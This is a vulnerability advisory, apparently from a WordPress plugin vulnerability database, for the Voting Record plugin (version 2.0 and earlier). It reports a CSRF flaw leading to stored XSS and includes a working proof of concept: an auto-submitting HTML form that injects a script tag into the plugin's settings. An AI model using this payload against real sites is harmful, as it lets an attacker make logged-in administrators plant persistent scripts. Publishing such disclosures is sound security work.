WordPress Plugin Vulnerabilities
Voting Record <= 2.0 - Settings Update to Stored XSS via CSRF
Description
The plugin does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack
Proof of Concept
Have an admin open an HTML page containing the following: ``` <form action="https://example.com/wp-admin/options-general.php?page=voting-record%2Fvoting-record.php" method="POST"> <input type="text" name="primary_voter" value='"><script>alert(1)</script>'> <input type="text" name="limit" value=""> <input type="text" name="type" value="votes"> <input type="text" name="extension" value=""> <input type="text" name="open_recent" value=""> <input type="text" name="close_recent" value=""> <input type="text" name="recent_template" value=""> <input type="text" name="no_recent" value=""> <input type="text" name="open_search" value=""> <input type="text" name="close_search" value=""> <input type="text" name="search_template" value=""> <input type="text" name="no_search" value=""> <input type="text" name="update_options" value="Update"> </form> <script> document.forms[0].submit(); </script> ``` You will see the pop-up showing the XSS.
Affects Plugins
References
Classification
Type
CSRF
OWASP top 10
CWE
Miscellaneous
Original Researcher
Daniel Ruf
Submitter
Daniel Ruf
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2024-01-10 (about 4 months ago)
Added
2024-01-10 (about 4 months ago)
Last Updated
2024-01-10 (about 4 months ago)